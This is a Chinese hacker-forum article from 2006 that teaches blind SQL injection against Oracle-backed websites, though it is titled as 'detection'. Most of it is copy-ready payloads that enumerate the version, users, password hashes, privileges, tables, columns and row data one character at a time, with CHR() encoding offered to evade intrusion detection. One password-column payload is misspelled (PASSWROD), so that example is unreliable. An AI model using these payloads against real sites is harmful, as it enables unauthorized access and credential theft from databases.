| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 黑客入侵 >> 正文 用户登录 新用户注册
ORACLE数据库的检测         ★★★ 【字体:
ORACLE数据库的检测
作者:未知 文章来源:华盟收集 点击数: 更新时间:2006-10-30
一、    需要检测的内容
ORACLE的检测中,需要检测数据库用户、权限、敏感表、包和过程,在有权限的情况下可以检测ORACLE数据库用户的密码散列,尝试破解
在检测过程中,首先需要检测数据库版本,然后需要检测3个重要的系统表和当前用户权限,最后在检测对其它表的访问权限等。
二、    检测方法
1、    数据库版本的检测
版本检测包括数据库版本、PL/SQL版本、CORE版本、TNS版本、NLSRTL版本,检测语句为:
SELECT * FROM (SELECT*FROM(SELECT*FROM(SELECT*FROM v$version ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1 DESC)WHERE ROWNUM<=1
按照以下检测语句,依次检测出的顺序是:
CORE版本、NLSRTL版本、ORACLE版本、PL/SQL版本、TNS版本、
检测方法为ASCII折半法。
例如需要检测PL/SQL版本版本,先需要检测数据长度:
and 0<=nvl(length((SELECT * FROM (SELECT*FROM(SELECT*FROM(SELECT*FROM v$version ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1 DESC)WHERE ROWNUM<=1)),0)
然后对数据进行逐个猜解
And 65=ascii(substr((SELECT BANNER FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM v$version ORDER BY 1 ASC)WHERE ROWNUM<=2)ORDER BY 1 DESC)WHERE ROWNUM<=1),1,1))
改变)WHERE ROWNUM<=2)得数字可以猜解其它行的数据,改变ROWNUM<=1),1,1))为ROWNUM<=1),2,1))可以猜解第二个字母。
2、    数据库用户的检测
首先要判断是否有检测用户的权限,如果有,就检测,权限判断如下:
and 0<>(select count(*) from dba_users)
and 0<>(select count(*) from user_users)
如果页面返回正常,就说明有权限进行检测。
其中dba_users是存放所有用户的表,user_users只存放当前用户的相关信息。他们的表结构几乎相同,只是在user_users中不存在PASSWORD列,没有存放用户密码散列。
以下就以dba_users的检测为例说明检测用户信息的方法。
需要检测的内容有:用户数据量、用户名,密码(加密)、是否可远程连接、用户组。
首先检测用户数据量:
And 52>=ascii(substr((SELECT COUNT (*) FROM dba_users),1,1))
确定数据量的第一位,改变dba_users),1,1中的数字,例如改变为dba_users),2,1,可以检测数据量的第二位。
当检测完数据量之后,就可以检测其它数据了。
检测用户名:
首先判断第一个用户名的长度
0<=nvl(length((SELECT USERNAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM dba_users ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1 DESC)WHERE ROWNUM<=1)),0)
当检测完用户名长度之后就可以检测具体的用户名


And 65=ascii(substr((SELECT USERNAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM dba_users ORDER BY 1 ASC)WHERE ROWNUM<=1)ORDER BY 1 DESC)WHERE ROWNUM<=1),1,1))
改变ASC)WHERE ROWNUM<=1)ORDER BY中的数字可以猜解其它行的四数据,改变WHERE ROWNUM<=1),1,1))的数字,例如改变为WHERE ROWNUM<=1),2,1))可猜解第二个字母。
猜解完用户名后就可以猜解用户密码散列,方法完全等同于猜解用户名,猜解完成后可以根据猜解出来的顺序和用户名对应,因为在SQL语句中经过了精确定位,所以不必担心对应出现误差。
密码散列字段名称为PASSWROD,只要替换以上语句中的USERNAME就可以了。
例如
And 65=ascii(substr((SELECT PASSWROD FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM dba_users ORDER BY 1 ASC)WHERE ROWNUM<=1)ORDER BY 1 DESC)WHERE ROWNUM<=1),1,1))
对于检测是否可远程连接、用户组同样可以用以上方法。存储它们的列分别是:
ACCOUNT_STATUS和INITIAL_RSRC_CONSUMER_GROUP。
3、    数据库对象检测
ORACLE的存储过程全部放在dba_objects和user_objects中,它们的表结构完全一样,所以猜解过程也完全一样。其中dba_objects中包含了一些比较重要的过程,所以以dba_objects为例说明探测的方法:
首先确定是否有访问dba_objects的权限,如果没有,就探测user_objects的权限。
and 0<>(select count(*) from dba_objects)
这里有个分歧,如果全部检测,ORACLE有4万多个对象,速度上可能带来很大影响,如果只检测重要的内容,当ORACLE漏洞出现在没有预料的范围中时,就无法检测到,只有修改软件代码。如果全部检测,只在漏洞库中说明一下就能做到。还有一个方法,比较可行,就是列出所有的过程和包的名字,让用户去选择探测哪些包和过程,返回探测结果。
全部检测中,需要检测过程和包等的拥有者,名称,类型3个项目。
需要 一个个检测,然后将检测内容列出来。例如存在以下的包:
UTL_HTTP
UTL_HTT_LIB
UTL_XML
UTL_TCP
如果需要检测UTL_HTTP,可以通过以下方法:
首先确定它是否可以访问(是否有权限访问、是否存在等):
and 0<>(select count(*) from dba_objects where OBJECT_NAME='UTL_HTTP')
如果页面返回正常,就可以确定有访问权限,所以在此基础上就可以探测其他信息了,它们包括拥有者名称、类型两个项目。
这里需要注意的一个问题是,OBJECT_NAME列不是唯一性的,例如里面存在两个UTL_HTTP,所以在定位的时候要格外精确。在确定数据过程中,没有找到一个合适的方法从不唯一数据中区分它们,所以现在只能做到简单探测是否有权访问,不能精确到具体权限名称。折中的做法是先规定好相关的权限名称,然后依次对应,例如里面的权限有SYS、PUBLIC,可以通过如下语句进行访问:
and 0<>(select count(*) from dba_objects where OBJECT_NAME='UTL_HTTP' and OWNER=’SYS’)
如果存在SYS的所有者,就返回正常页面,不存在就返回错误页面。

user_objects的检测方法是一样的。



4、    数据库表检测
在检测数据库表前首先需要检测3个主要的系统表是否有权限访问,他们是:
all_tables,user_tables和user_tab_columns。
检测方法:
and 0<>(select count(*) from all_tables)
如果可以访问,返回页面正常,不能访问,返回页面不正常。
当确定完这3个系统表的访问权限之后,就可以对数据库表进行猜解。其中all_tables中放置的是当前用户所有可访问表,user_tables中放置的是当前用户表,猜解方法完全相同,就是user_tables中缺少了当前用户可访问的系统表。
以user_tables为例:
首先要确定其中的数据量
猜解数据表量的第一位:
And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
在确定完数据量之后,要判断第一个表的长度
And 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1 ASC)WHERE ROWNUM<=1)ORDER BY 1 DESC)WHERE ROWNUM<=1)),0)
然后判断第一个表的第一位:
And 65=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1 ASC)WHERE ROWNUM<=1)ORDER BY 1 DESC)WHERE ROWNUM<=1),1,1))
猜解列名长度和列名:
And 0<=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)
列名长度为:
And 52=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),1,1))
第一列的第一个字段名长度为:
And 0<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2 DESC)WHERE ROWNUM<=1)),0)
其中CHR(65)||CHR(68)为AD,编码以逃避IDS,加强注入穿透能力。
第一列第一个字段的第一位为:
And 65=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2 DESC)WHERE ROWNUM<=1),1,1))

猜解数据值:?
数据值长度为:1
And 0<=nvl(length((SELECT COUNT(*)FROM AD)),0)
其中AD为我们假设猜解到的表名。
第一行第一列记录的长度为
And 0<=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2 DESC)WHERE ROWNUM<=1)),0)
值为:
And 52=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2 ASC)WHERE ROWNUM<=1)ORDER BY 2 DESC)WHERE ROWNUM<=1),1,1))
三、    要注意的问题
1、在猜解过程中不能使用+来连接一个SQL语句,因为ORACLE的连接符为:||,而不是+。
2、猜解过程中判断页面是否正常,需要按照and 1=1页面来判断,但是有个别情况下也存在一些差异,一个注入语句执行成功,返回页面有稍许差别,可以对比定义关键字来消除这种误差,不过需要人为干预。
3、ORACLE中识别大小写,它的关键字不是别大小写,但是存储的内容和表名等区分大小写。
责任编辑:华夏编辑6  联系方式  Email:华夏编辑6
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    一次非常规安全检测
    如何检测VMware系统
    全方位检测基于JSP网站
    Oracle的TNS listener攻击方法
    检测某快递公司服务器
    对娱乐分站服务器检测
    Oracle web环境注射技术
    Crack Oracle Password
    检测纵横时空文学网
    ASP数据库插马小议
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号